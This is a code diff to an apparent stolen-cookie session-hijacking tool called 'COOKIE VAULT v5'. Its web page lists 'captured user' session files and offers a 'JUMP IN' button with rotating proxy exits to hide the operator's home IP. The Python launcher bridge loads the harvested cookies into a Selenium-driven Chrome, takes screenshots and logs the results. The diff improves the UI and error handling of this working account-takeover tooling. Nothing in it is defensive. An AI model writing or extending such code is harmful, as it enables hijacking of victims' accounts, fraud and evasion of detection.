diff --git a/app.py b/app.py
index bd31bce..5e908d5 100644
--- a/app.py
+++ b/app.py
@@ -395,16 +395,16 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
 <a class=btn href="/" style=margin-left:auto>&larr; back</a></header>
 <main>
 <div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
-<form style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
+<div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
 <span class=muted>egress:</span>
-<select name=proxy style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
+<select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
 <option value=rotate>&#127916; rotate (sticky per user)</option>
-{% for n, ip in [("Tokyo","10.30.20.154"),("London","10.30.20.71"),("Sydney","10.30.20.189")] %}
-<option value="{{ip}}">{{n}} ({{ip}})</option>
-{% endfor %}
+<option value="10.30.20.154">Tokyo</option>
+<option value="10.30.20.71">London</option>
+<option value="10.30.20.189">Sydney</option>
 <option value=direct>direct (home IP)</option>
 </select>
-</form>
+</div>
 <table>
 <tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
 {% for s in sess %}
@@ -412,12 +412,18 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
   <td><b>{{s[0]}}</b></td>
   <td>{{s[1]}}</td>
   <td class="{{'ok' if s[2] else 'warn'}}">{{'&#10003; fresh' if s[2] else 'expired?'}}</td>
-  <td><button formaction="/open" formmethod="get" name="_" value="_" type="submit"
-    onclick="this.form.action='/open';this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'domain',value:'{{domain}}'}));this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'file',value:'{{s[0]}}'}));"
-    class="btn green" style="border:0">JUMP IN &rarr;</button></td>
+  <td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN &rarr;</a></td>
 </tr>
 {% endfor %}
 </table>
+<script>
+document.getElementById('px').addEventListener('change', function(){
+  const p = this.value;
+  document.querySelectorAll('a.jump').forEach(a => {
+    a.href = a.href.replace(/&proxy=[^&]*/, '') + '&proxy=' + encodeURIComponent(p);
+  });
+});
+</script>
 </main></body></html>"""
 
 NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
diff --git a/launcher_bridge.py b/launcher_bridge.py
index 3a5325d..edadd01 100644
--- a/launcher_bridge.py
+++ b/launcher_bridge.py
@@ -2,6 +2,7 @@
 # COOKIE VAULT v5 — session-1 chrome launcher bridge
 # Runs AS drjones (interactive Session 1) via scheduled task.
 # Listens 127.0.0.1:5067, receives {cookies, domain} JSON, launches visible Chrome+selenium.
+import base64
 import json, os, re, time, threading
 from http.server import BaseHTTPRequestHandler, HTTPServer
 from urllib.parse import urlparse
@@ -99,9 +100,19 @@ def launch(domain, cookies, tok, proxy=""):
             time.sleep(4)
             SCREENSHOTS[tok] = _png(driver, "done")
         except Exception:
-            SCREENSHOTS[tok] = _png(driver, "cookies-set")
+            # screenshot whatever state we're in — even a failed load shows something
+            try:
+                driver.get(f"https://{host}/")
+                time.sleep(3)
+                SCREENSHOTS[tok] = _png(driver, "retry")
+            except Exception:
+                SCREENSHOTS[tok] = _error_png(f"page load failed: {host}")
         with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f:
-            f.write(f"{time.ctime()} {domain}: added {added}/{len(cookies)} cookies\n")
+            f.write(f"{time.ctime()} {domain}: added {added}/{len(cookies)} cookies via {proxy or 'direct'}\n")
+    except Exception as e:
+        SCREENSHOTS.setdefault(tok, _error_png(f"launch error: {e}"))
+        with open(os.path.join(SESSION_DIR, "_launch.log"), "a", encoding="utf-8") as f:
+            f.write(f"{time.ctime()} {domain}: LAUNCH ERROR {e}\n")
     finally:
         try: driver.quit()
         except Exception: pass
@@ -112,6 +123,14 @@ def _png(driver, stage):
     except Exception:
         return b""
 
+_ERR_PNG = base64.b64decode(
+    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==")
+
+def _error_png(msg):
+    with open(os.path.join(SESSION_DIR, "_errors.log"), "a", encoding="utf-8") as f:
+        f.write(f"{time.ctime()} {msg}\n")
+    return _ERR_PNG
+
 SCREENSHOTS = {}
 
 if __name__ == "__main__":